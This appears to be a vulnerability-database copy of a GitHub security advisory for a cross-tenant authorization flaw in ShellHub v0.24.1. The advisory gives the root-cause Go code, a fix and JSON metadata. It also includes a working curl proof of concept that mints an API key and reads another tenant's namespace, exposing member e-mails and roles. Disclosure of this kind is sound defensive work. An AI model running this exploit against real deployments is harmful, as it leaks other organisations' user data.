GHSA-VWX9-7QCF-GG7F

Vulnerability from github – Published: 2026-05-07 03:02 – Updated: 2026-05-14 20:43
VLAI
Summary
ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check
Details

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

```go var uid string if c.ID() != nil { uid = c.ID().ID }

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }

if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }

return c.JSON(http.StatusOK, ns) ```

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/ \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/ \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ```

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:02:28Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object \u2014 including the members list (user IDs, e-mails, roles), settings, and device counts \u2014 to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key\u0027s own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` \u2014 membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // \u26a0\ufe0f skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication \u2014 never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"attacker\",\"password\":\"...\"}\u0027 | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"poc\",\"expires_at\":30}\u0027 | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles \u2192 user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** \u2014 enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```",
  "id": "GHSA-vwx9-7qcf-gg7f",
  "modified": "2026-05-14T20:43:26Z",
  "published": "2026-05-07T03:02:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…